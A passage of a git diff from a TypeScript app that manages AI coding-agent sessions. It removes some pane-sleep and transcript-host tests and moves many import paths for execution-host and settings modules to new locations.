server.retireSleepingPaneOnSpawn(PANE) - if (wake === 'idle Codex' || wake === 'Claude hook') { - server.recordLaunchResumeIdentity({ - paneKey: PANE, - worktreeId: 'wt-1', - agentType: agent, - providerSession: { key: 'session_id', id: 'sleep-session' }, - launchedAt: Date.now() - }) - expect(read()).toMatchObject({ providerSessionOnly: true }) - } - if (wake === 'Claude hook') { - await hook('SessionStart', 4002) - expect(await server.checkAgentPresenceSince(PANE, 0)).toBe('live') - } - const capture = await captureWorktreeSleepResumeRecords({ - worktreeId: 'wt-1', - paneKeysByPtyId: new Map([['woken-pty', [PANE]]]), - launchByPtyId: new Map(), - readRowsForPane: (paneKey) => server.getStatusSnapshotForPane(paneKey), - checkAgentPresence: (paneKey, since) => server.checkAgentPresenceSince(paneKey, since ?? 0), - capturedAt: 2 - }) - const next = applyWorktreeSleepResumeRecords(session, capture, ['woken-pty']) ?? session - if (wake === 'ordinary exit') { - expect(next.sleepingAgentSessionsByPaneKey?.[PANE]).toBeUndefined() - } else { - expect(next.sleepingAgentSessionsByPaneKey?.[PANE]).toMatchObject({ - agent, - providerSession: { key: 'session_id', id: 'sleep-session' }, - state: 'done', - origin: 'worktree-sleep', - restoreOnTabOpenOnly: true - }) - if (wake === 'failed resume') { - expect(read()).toBeUndefined() - expect(next.sleepingAgentSessionsByPaneKey?.[PANE]).toEqual(saved) - } - } - } -) - it('does not restore a sleeping status whose exact placed pane is absent', async () => { server.ingestTerminalStatus({ paneKey: PANE, @@ -228,38 +80,3 @@ it('does not restore a sleeping status whose exact placed pane is absent', async await server.start({ env: 'production', userDataPath: home }) expect(read()).toBeUndefined() }) - -it('keeps transcript host evidence indexed through replacement, sleep and close', () => { - const publish = (id: string, connectionId: string) => - server.ingestRemote( - { - paneKey: PANE, - tabId: 'tab-1', - worktreeId: 'wt-1', - providerSession: { key: 'session_id', id, transcriptPath: '/home/user/session.jsonl' }, - payload: { state: 'done', prompt: 'Finished', agentType: 'claude' } - }, - connectionId - ) - publish('first-session', 'ssh-1') - const initial = server.getProviderSessionSourceRowsForSessionId('first-session') - expect(initial).toHaveLength(1) - expect( - nativeChatTranscriptPathOnExecutionHost(initial, 'first-session', '/home/user/session.jsonl') - ).toBe('orca-ssh-transcript:ssh-1:/home/user/session.jsonl') - publish('second-session', `${WSL_HOOK_RELAY_CONNECTION_PREFIX}Ubuntu`) - expect(server.getProviderSessionSourceRowsForSessionId('first-session')).toEqual([]) - const replacement = server.getProviderSessionSourceRowsForSessionId('second-session') - expect(replacement).toHaveLength(1) - const platform = vi.spyOn(process, 'platform', 'get').mockReturnValue('win32') - try { - expect(nativeChatTranscriptDistro(replacement, 'second-session', undefined)).toBe('Ubuntu') - } finally { - platform.mockRestore() - } - stopping = true - expect(server.settleTerminalPaneSleep(PANE, 'pty', 'birth')).toBe(true) - expect(server.getProviderSessionSourceRowsForSessionId('second-session')).toHaveLength(1) - server.retirePaneAuthority(PANE) - expect(server.getProviderSessionSourceRowsForSessionId('second-session')).toEqual([]) -}) diff --git a/src/main/agent-launch/startup-agent-worktree-create.ts b/src/main/agent-launch/startup-agent-worktree-create.ts index b0873af5002..38f83edc159 100644 --- a/src/main/agent-launch/startup-agent-worktree-create.ts +++ b/src/main/agent-launch/startup-agent-worktree-create.ts @@ -1,7 +1,7 @@ /** Preserve worktree.create’s terminal startup and prompt delivery through the shared executor. */ import type { AgentLaunchPrompt } from '../../shared/agent-launch/contracts/agent-launch-intent' -import { getRepoSshConnectionId } from '../../shared/execution-host' +import { getRepoSshConnectionId } from '../../shared/execution-host/execution-host' import type { TuiAgent } from '../../shared/agent-launch/catalog/tui-agent' import type { CreateWorktreeResult } from '../../shared/worktree/create-types' import type { OrcaRuntimeService } from '../runtime/orca-runtime' diff --git a/src/main/agent-launch/trust/agent-workspace-trust-spawn.ts b/src/main/agent-launch/trust/agent-workspace-trust-spawn.ts index 32fe60e7fe4..480cc250d88 100644 --- a/src/main/agent-launch/trust/agent-workspace-trust-spawn.ts +++ b/src/main/agent-launch/trust/agent-workspace-trust-spawn.ts @@ -1,5 +1,5 @@ import { TUI_AGENT_CONFIG, isTuiAgent } from '../../../shared/agent-launch/catalog/tui-agent-config' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { resolveTerminalWorkspacePath } from '../../../shared/shell/launch/terminal-startup-cwd' import { applyAgentWorkspaceTrust, diff --git a/src/main/ai-vault-search/scope/session-search-scope-catalog.ts b/src/main/ai-vault-search/scope/session-search-scope-catalog.ts index 91439ffcfa3..25d5cb69142 100644 --- a/src/main/ai-vault-search/scope/session-search-scope-catalog.ts +++ b/src/main/ai-vault-search/scope/session-search-scope-catalog.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { Project, ProjectHostSetup } from '../../../shared/project/project-types' import type { Repo } from '../../../shared/repository/repo-types' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' diff --git a/src/main/ai-vault-search/scope/session-search-store-scope-catalog.ts b/src/main/ai-vault-search/scope/session-search-store-scope-catalog.ts index ca58f965f41..905415be346 100644 --- a/src/main/ai-vault-search/scope/session-search-store-scope-catalog.ts +++ b/src/main/ai-vault-search/scope/session-search-store-scope-catalog.ts @@ -2,10 +2,10 @@ import { getRepoExecutionHostId, normalizeExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { ProjectHostSetup } from '../../../shared/project/project-types' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { readAllWorktreeMetaForHost } from '../../persistence/host-qualified-worktree-meta' import type { SessionSearchScopeCatalog } from './session-search-scope-catalog' diff --git a/src/main/ai-vault-search/session-search-enablement.ts b/src/main/ai-vault-search/session-search-enablement.ts index da27f3b3887..eb7aeccda0a 100644 --- a/src/main/ai-vault-search/session-search-enablement.ts +++ b/src/main/ai-vault-search/session-search-enablement.ts @@ -1,5 +1,5 @@ import { changedAiVaultSearchSettings } from '../../shared/ai-vault/search/ai-vault-search-settings' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import { updateSessionSearchInService } from '../ai-vault/scan-service/session-scanner-service-spawn' import { createChildSessionSearchService } from './session-search-child-service' import { installSessionSearchPolicySource } from './session-search-policy' diff --git a/src/main/ai-vault-search/session-search-policy.ts b/src/main/ai-vault-search/session-search-policy.ts index 6f3b20bc366..b84b911b6a4 100644 --- a/src/main/ai-vault-search/session-search-policy.ts +++ b/src/main/ai-vault-search/session-search-policy.ts @@ -3,7 +3,7 @@ import { resolveAiVaultSearchSettings, type AiVaultSearchSettings } from '../../shared/ai-vault/search/ai-vault-search-settings' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' // Read settings at each lazy spawn or respawn so children receive current consent. let readSettings: (() => AiVaultSearchSettings) | null = null diff --git a/src/main/ai-vault-search/session-search-service-init.ts b/src/main/ai-vault-search/session-search-service-init.ts index a3de3108cd3..9aa64a14687 100644 --- a/src/main/ai-vault-search/session-search-service-init.ts +++ b/src/main/ai-vault-search/session-search-service-init.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../shared/execution-host/execution-host' import type { AiVaultSessionSearchInit } from '../ai-vault/scan-service/session-scanner-service-protocol' import { sessionSearchDatabasePath } from './session-search-database-path' import { sessionSearchPolicy } from './session-search-policy' diff --git a/src/main/ai-vault/deletion/host-session-delete.ts b/src/main/ai-vault/deletion/host-session-delete.ts index d666f722dea..e5e2f7300fd 100644 --- a/src/main/ai-vault/deletion/host-session-delete.ts +++ b/src/main/ai-vault/deletion/host-session-delete.ts @@ -5,7 +5,7 @@ import { deleteAiVaultSessionFile, type AiVaultSessionPathRemover } from './sess import { invalidateSessionParseCacheEntry } from '../parse-cache/session-parse-cache-store' import { invalidateAiVaultBackgroundCache } from '../scan-service/session-scanner-background' import type { AiVaultAgent } from '../../../shared/ai-vault/contracts/ai-vault-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import type { AiVaultDeleteSessionArgs, AiVaultDeleteSessionResult diff --git a/src/main/ai-vault/deletion/session-delete-target.ts b/src/main/ai-vault/deletion/session-delete-target.ts index 08a9e07d5f4..903edea32fc 100644 --- a/src/main/ai-vault/deletion/session-delete-target.ts +++ b/src/main/ai-vault/deletion/session-delete-target.ts @@ -12,7 +12,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { isPathInsideOrEqual } from '../../../shared/file-access/cross-platform-path' import { AI_VAULT_AGENT_SOURCES, diff --git a/src/main/ai-vault/discovery/ai-vault-scan-roots.ts b/src/main/ai-vault/discovery/ai-vault-scan-roots.ts index f9aa32e005e..7e9234134a4 100644 --- a/src/main/ai-vault/discovery/ai-vault-scan-roots.ts +++ b/src/main/ai-vault/discovery/ai-vault-scan-roots.ts @@ -1,6 +1,6 @@ import { join } from 'node:path' import { isWslUncPath } from '../../../shared/file-access/wsl-paths' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import { claudeProfileHistoryDirs } from '../../claude-accounts/profiles/routing/claude-profile-installed-router' import { getCachedWslDistros, hasCachedWslDistros } from '../../wsl/discovery/distro-catalog' import { diff --git a/src/main/ai-vault/listing/session-list-result-validation.ts b/src/main/ai-vault/listing/session-list-result-validation.ts index 6d2e832ce4b..1bcdca4d4ae 100644 --- a/src/main/ai-vault/listing/session-list-result-validation.ts +++ b/src/main/ai-vault/listing/session-list-result-validation.ts @@ -8,7 +8,7 @@ import { type AiVaultScanIssue, type AiVaultSession } from '../../../shared/ai-vault/contracts/ai-vault-types' -import { normalizeExecutionHostId } from '../../../shared/execution-host' +import { normalizeExecutionHostId } from '../../../shared/execution-host/execution-host' import { aiVaultScanIssueText } from '../../../shared/ai-vault/scanning/ai-vault-scan-issue-copy' const aiVaultAgentSet = new Set(AI_VAULT_AGENTS) diff --git a/src/main/ai-vault/listing/session-list-results.ts b/src/main/ai-vault/listing/session-list-results.ts index ee792e6de0c..e64c1091270 100644 --- a/src/main/ai-vault/listing/session-list-results.ts +++ b/src/main/ai-vault/listing/session-list-results.ts @@ -3,7 +3,7 @@ import type { AiVaultScanIssue, AiVaultSession } from '../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { AiVaultScanIssueText } from '../../../shared/ai-vault/scanning/ai-vault-scan-issue-copy' import { sessionSortTime } from '../parsing/session-scanner-accumulator' import { diff --git a/src/main/ai-vault/parsing/session-scanner-accumulator.ts b/src/main/ai-vault/parsing/session-scanner-accumulator.ts index 3d13ef56072..66b24829228 100644 --- a/src/main/ai-vault/parsing/session-scanner-accumulator.ts +++ b/src/main/ai-vault/parsing/session-scanner-accumulator.ts @@ -6,7 +6,10 @@ import { type AiVaultSessionTitleKind } from '../../../shared/ai-vault/contracts/ai-vault-types' import { buildAiVaultResumeCommand } from '../../../shared/ai-vault/resume/ai-vault-resume-command' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { FileWithMtime, ResumableSessionParseState, diff --git a/src/main/ai-vault/parsing/session-scanner-candidate-parse.ts b/src/main/ai-vault/parsing/session-scanner-candidate-parse.ts index 61c51e57940..90c0f00b2c1 100644 --- a/src/main/ai-vault/parsing/session-scanner-candidate-parse.ts +++ b/src/main/ai-vault/parsing/session-scanner-candidate-parse.ts @@ -16,7 +16,7 @@ import { type AiVaultSession } from '../../../shared/ai-vault/contracts/ai-vault-types' import { aiVaultScanIssueText } from '../../../shared/ai-vault/scanning/ai-vault-scan-issue-copy' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { ScannedSessionCollection } from './session-root-dedup' import type { AntigravityWorkspaceResolver } from '../scanners/antigravity/session-scanner-antigravity-history' import { diff --git a/src/main/ai-vault/prompts/session-first-user-prompt-read.ts b/src/main/ai-vault/prompts/session-first-user-prompt-read.ts index 1cb7ef5e017..93788816ea1 100644 --- a/src/main/ai-vault/prompts/session-first-user-prompt-read.ts +++ b/src/main/ai-vault/prompts/session-first-user-prompt-read.ts @@ -3,7 +3,10 @@ import type { AiVaultSession, AiVaultFirstUserPromptResult as ReadAiVaultFirstUserPromptResult } from '../../../shared/ai-vault/contracts/ai-vault-types' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { wslGatedStat } from '../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import { parseAgentSessionFile } from '../parsing/session-scanner-agent-parser' import { withFullFirstUserPromptCapture } from './session-scanner-first-user-prompt-capture' diff --git a/src/main/ai-vault/runtime-hosts/runtime-session-scanner.ts b/src/main/ai-vault/runtime-hosts/runtime-session-scanner.ts index 767aeed7245..51856c77e4c 100644 --- a/src/main/ai-vault/runtime-hosts/runtime-session-scanner.ts +++ b/src/main/ai-vault/runtime-hosts/runtime-session-scanner.ts @@ -9,7 +9,7 @@ import { type AiVaultListResult, type AiVaultSession } from '../../../shared/ai-vault/contracts/ai-vault-types' -import { toRuntimeExecutionHostId } from '../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../shared/execution-host/execution-host' import { listEnvironments, resolveEnvironment diff --git a/src/main/ai-vault/scanners/antigravity/session-scanner-antigravity-parser.ts b/src/main/ai-vault/scanners/antigravity/session-scanner-antigravity-parser.ts index dc7a2e65033..f9768e85045 100644 --- a/src/main/ai-vault/scanners/antigravity/session-scanner-antigravity-parser.ts +++ b/src/main/ai-vault/scanners/antigravity/session-scanner-antigravity-parser.ts @@ -5,7 +5,7 @@ import { import { consumeCompleteJsonlLines } from '../../parsing/session-scanner-jsonl-reader' import { MAX_SESSION_TRANSCRIPT_RECORD_BYTES } from '../../transcripts/session-transcript-record-budget' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { accumulatorFoldResumeState, createAccumulator, diff --git a/src/main/ai-vault/scanners/claude/session-scanner-primary-parsers.ts b/src/main/ai-vault/scanners/claude/session-scanner-primary-parsers.ts index 0ec7064e66c..5fd8d2a2df1 100644 --- a/src/main/ai-vault/scanners/claude/session-scanner-primary-parsers.ts +++ b/src/main/ai-vault/scanners/claude/session-scanner-primary-parsers.ts @@ -5,7 +5,10 @@ import { import { openTranscriptReadStream } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import { createInterface } from 'node:readline' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { isKnownHarnessInjectedUserTurnText } from '../../../../shared/agent-session/journal/harness-injected-user-turns' import { normalizePromptField } from '../../../../shared/agent-status/contracts/agent-status-field-normalization' import type { diff --git a/src/main/ai-vault/scanners/cline/session-scanner-cline-parser.ts b/src/main/ai-vault/scanners/cline/session-scanner-cline-parser.ts index b059e1e882d..e268a0a4910 100644 --- a/src/main/ai-vault/scanners/cline/session-scanner-cline-parser.ts +++ b/src/main/ai-vault/scanners/cline/session-scanner-cline-parser.ts @@ -5,7 +5,7 @@ import { openTranscriptReadStream } from '../../../native-chat/transcript-filesy import { WslTranscriptFsError } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-error' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' import { clineMessagesPathForMetadata } from '../../../../shared/ai-vault/session-display/ai-vault-session-log-resource' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { createAccumulator, finalizeSession, diff --git a/src/main/ai-vault/scanners/codebuddy/session-scanner-codebuddy-parser.ts b/src/main/ai-vault/scanners/codebuddy/session-scanner-codebuddy-parser.ts index 405e7e0c452..bcbb1db6136 100644 --- a/src/main/ai-vault/scanners/codebuddy/session-scanner-codebuddy-parser.ts +++ b/src/main/ai-vault/scanners/codebuddy/session-scanner-codebuddy-parser.ts @@ -1,7 +1,7 @@ import { createInterface } from 'node:readline' import { openTranscriptReadStream } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { isKnownHarnessInjectedUserTurnText } from '../../../../shared/agent-session/journal/harness-injected-user-turns' import type { FileWithMtime, ResumableSessionParseState } from '../../session-scanner-types' import type { TranscriptMessageSink } from '../../transcripts/session-transcript-consumers' diff --git a/src/main/ai-vault/scanners/codex/session-scanner-codex-parser.ts b/src/main/ai-vault/scanners/codex/session-scanner-codex-parser.ts index 87ee7d54637..a12097c4289 100644 --- a/src/main/ai-vault/scanners/codex/session-scanner-codex-parser.ts +++ b/src/main/ai-vault/scanners/codex/session-scanner-codex-parser.ts @@ -10,7 +10,7 @@ import type { AiVaultSessionTitleKind } from '../../../../shared/ai-vault/contracts/ai-vault-types' import { readCodexSessionIndexTitle } from './session-scanner-codex-title-index' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { accumulatorSessionIdentity, cloneSessionAccumulator, diff --git a/src/main/ai-vault/scanners/copilot/session-scanner-copilot-parser.ts b/src/main/ai-vault/scanners/copilot/session-scanner-copilot-parser.ts index 0812d2c69b7..420d6393def 100644 --- a/src/main/ai-vault/scanners/copilot/session-scanner-copilot-parser.ts +++ b/src/main/ai-vault/scanners/copilot/session-scanner-copilot-parser.ts @@ -1,7 +1,7 @@ import { openTranscriptReadStream } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import { createInterface } from 'node:readline' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FileWithMtime, ResumableSessionParseState, diff --git a/src/main/ai-vault/scanners/cursor/session-scanner-cursor-parser.ts b/src/main/ai-vault/scanners/cursor/session-scanner-cursor-parser.ts index 0b67b094920..9efe78845c4 100644 --- a/src/main/ai-vault/scanners/cursor/session-scanner-cursor-parser.ts +++ b/src/main/ai-vault/scanners/cursor/session-scanner-cursor-parser.ts @@ -5,7 +5,7 @@ import { import { openTranscriptReadStream } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import { createInterface } from 'node:readline' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FileWithMtime, ResumableSessionParseState, diff --git a/src/main/ai-vault/scanners/devin/session-scanner-devin-parser.ts b/src/main/ai-vault/scanners/devin/session-scanner-devin-parser.ts index 28c798f5b9c..b9a16a2fb93 100644 --- a/src/main/ai-vault/scanners/devin/session-scanner-devin-parser.ts +++ b/src/main/ai-vault/scanners/devin/session-scanner-devin-parser.ts @@ -1,7 +1,7 @@ import { readStreamedSessionDocument } from '../../transcripts/session-document-stream' import { openTranscriptReadStream } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FileWithMtime, SessionAccumulator } from '../../session-scanner-types' import type { TranscriptMessageSink } from '../../transcripts/session-transcript-consumers' import { diff --git a/src/main/ai-vault/scanners/droid/session-scanner-droid-parser.ts b/src/main/ai-vault/scanners/droid/session-scanner-droid-parser.ts index b62cbfeeff3..a5a6b73ca41 100644 --- a/src/main/ai-vault/scanners/droid/session-scanner-droid-parser.ts +++ b/src/main/ai-vault/scanners/droid/session-scanner-droid-parser.ts @@ -1,7 +1,7 @@ import { openTranscriptReadStream } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import { createInterface } from 'node:readline' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FileWithMtime, ResumableSessionParseState, diff --git a/src/main/ai-vault/scanners/hermes/session-scanner-hermes-parser.ts b/src/main/ai-vault/scanners/hermes/session-scanner-hermes-parser.ts index 636b1d1ee7d..9c927b86a0b 100644 --- a/src/main/ai-vault/scanners/hermes/session-scanner-hermes-parser.ts +++ b/src/main/ai-vault/scanners/hermes/session-scanner-hermes-parser.ts @@ -1,7 +1,7 @@ import { readStreamedSessionDocument } from '../../transcripts/session-document-stream' import { openTranscriptReadStream } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FileWithMtime, SessionAccumulator } from '../../session-scanner-types' import type { TranscriptMessageSink } from '../../transcripts/session-transcript-consumers' import { diff --git a/src/main/ai-vault/scanners/jcode/session-scanner-jcode-parser.ts b/src/main/ai-vault/scanners/jcode/session-scanner-jcode-parser.ts index dcd8ad15c64..c3f34c49b15 100644 --- a/src/main/ai-vault/scanners/jcode/session-scanner-jcode-parser.ts +++ b/src/main/ai-vault/scanners/jcode/session-scanner-jcode-parser.ts @@ -1,7 +1,7 @@ import { waitForAiVaultScan } from '../../scan-lifecycle/ai-vault-scan-cancellation' import { wslGatedReadFile } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FileWithMtime } from '../../session-scanner-types' import type { TranscriptMessageSink } from '../../transcripts/session-transcript-consumers' import { diff --git a/src/main/ai-vault/scanners/kiro/session-scanner-kiro-parser.ts b/src/main/ai-vault/scanners/kiro/session-scanner-kiro-parser.ts index ff16163b880..d9cb7271f79 100644 --- a/src/main/ai-vault/scanners/kiro/session-scanner-kiro-parser.ts +++ b/src/main/ai-vault/scanners/kiro/session-scanner-kiro-parser.ts @@ -4,7 +4,7 @@ import { wslGatedReadFile } from '../../../native-chat/transcript-filesystem/wsl import { WslTranscriptFsError } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-error' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' import { kiroTranscriptPathForMetadata } from '../../../../shared/ai-vault/session-display/ai-vault-session-log-resource' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { createAccumulator, finalizeSession, diff --git a/src/main/ai-vault/scanners/muse/session-scanner-muse-parser.ts b/src/main/ai-vault/scanners/muse/session-scanner-muse-parser.ts index cbf354dec9f..0f1a19f1153 100644 --- a/src/main/ai-vault/scanners/muse/session-scanner-muse-parser.ts +++ b/src/main/ai-vault/scanners/muse/session-scanner-muse-parser.ts @@ -2,7 +2,7 @@ import { waitForAiVaultScan } from '../../scan-lifecycle/ai-vault-scan-cancellat import { wslGatedReadFile } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import type { AiVaultSession } from '../../../../shared/ai-vault/contracts/ai-vault-types' import { unwrapMuseLogRecords } from '../../../../shared/agent-hook-listener/providers/muse/muse-session-log' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FileWithMtime, SessionAccumulator } from '../../session-scanner-types' import type { TranscriptMessageSink } from '../../transcripts/session-transcript-consumers' import { diff --git a/src/main/ai-vault/scanners/omp/session-scanner-omp-subagent-transcripts.ts b/src/main/ai-vault/scanners/omp/session-scanner-omp-subagent-transcripts.ts index dc86457f257..00839e33716 100644 --- a/src/main/ai-vault/scanners/omp/session-scanner-omp-subagent-transcripts.ts +++ b/src/main/ai-vault/scanners/omp/session-scanner-omp-subagent-transcripts.ts @@ -4,7 +4,7 @@ import { } from '../../scan-lifecycle/ai-vault-scan-cancellation' import { wslGatedReaddir } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import { basename, dirname, extname, join } from 'node:path' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { SubagentTranscriptPartition } from '../claude/session-scanner-subagent-transcripts' import type { ResumableSessionParseState } from '../../session-scanner-types' diff --git a/src/main/ai-vault/scanners/qoder/session-scanner-qoder-parser.ts b/src/main/ai-vault/scanners/qoder/session-scanner-qoder-parser.ts index 64a9e6f0695..7008fe852d7 100644 --- a/src/main/ai-vault/scanners/qoder/session-scanner-qoder-parser.ts +++ b/src/main/ai-vault/scanners/qoder/session-scanner-qoder-parser.ts @@ -1,5 +1,5 @@ import { createInterface } from 'node:readline' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { openTranscriptReadStream } from '../../../native-chat/transcript-filesystem/wsl-transcript-fs-access' import { accumulatorSessionIdentity, diff --git a/src/main/ai-vault/scanners/session-scanner-graph-parsers.ts b/src/main/ai-vault/scanners/session-scanner-graph-parsers.ts index f0b5431c66a..c4ba0ee6ed5 100644 --- a/src/main/ai-vault/scanners/session-scanner-graph-parsers.ts +++ b/src/main/ai-vault/scanners/session-scanner-graph-parsers.ts @@ -15,7 +15,7 @@ import { basename, dirname } from 'node:path' import { createInterface } from 'node:readline' import type { AiVaultSession } from '../../../shared/ai-vault/contracts/ai-vault-types' import { rovoTranscriptPathForMetadata } from '../../../shared/ai-vault/session-display/ai-vault-session-log-resource' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { withOmpSubagentTranscriptCount } from './omp/session-scanner-omp-subagent-transcripts' import type { FileWithMtime, diff --git a/src/main/ai-vault/scope/session-scanner-scope-walk.ts b/src/main/ai-vault/scope/session-scanner-scope-walk.ts index 1269f447543..e2ed74cccec 100644 --- a/src/main/ai-vault/scope/session-scanner-scope-walk.ts +++ b/src/main/ai-vault/scope/session-scanner-scope-walk.ts @@ -7,7 +7,7 @@ import type { AiVaultScanIssue, AiVaultSession } from '../../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { yieldToEventLoop } from '../../../shared/concurrency/event-loop-yield' import { throwIfAiVaultScanCancelled } from '../scan-lifecycle/ai-vault-scan-cancellation' import { diff --git a/src/main/ai-vault/session-scanner-types.ts b/src/main/ai-vault/session-scanner-types.ts index 3c320957c78..f3f754d36b1 100644 --- a/src/main/ai-vault/session-scanner-types.ts +++ b/src/main/ai-vault/session-scanner-types.ts @@ -5,7 +5,7 @@ import type { AiVaultSession, AiVaultSessionPreviewMessage } from '../../shared/ai-vault/contracts/ai-vault-types' -import type { ExecutionHostId } from '../../shared/execution-host' +import type { ExecutionHostId } from '../../shared/execution-host/execution-host' import type { TranscriptMessageSink, TranscriptSessionIdentity diff --git a/src/main/ai-vault/session-scanner.ts b/src/main/ai-vault/session-scanner.ts index 550b7fcb346..065370d3a90 100644 --- a/src/main/ai-vault/session-scanner.ts +++ b/src/main/ai-vault/session-scanner.ts @@ -3,7 +3,7 @@ import type { AiVaultScanIssue, AiVaultSession } from '../../shared/ai-vault/contracts/ai-vault-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../shared/execution-host/execution-host' import { withSpan } from '../observability/tracer' import { sessionSortTime } from './parsing/session-scanner-accumulator' import { dedupeScannedSessions } from './parsing/session-root-dedup' diff --git a/src/main/ai-vault/structured-sessions/structured-chat-cli-fork.ts b/src/main/ai-vault/structured-sessions/structured-chat-cli-fork.ts index d012d62be31..10a818a8be3 100644 --- a/src/main/ai-vault/structured-sessions/structured-chat-cli-fork.ts +++ b/src/main/ai-vault/structured-sessions/structured-chat-cli-fork.ts @@ -14,7 +14,7 @@ import type { AiVaultPrepareSessionResumeResult, AiVaultSessionResumePreparation } from '../../../shared/ai-vault/resume/ai-vault-resume-preparation' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import { isWslUncPath } from '../../../shared/file-access/wsl-paths' import { getStructuredAgentSessionHost } from '../../native-chat/agent-session-wire/host/structured-agent-session-registry' import { structuredAgentRuntimeMetadata } from 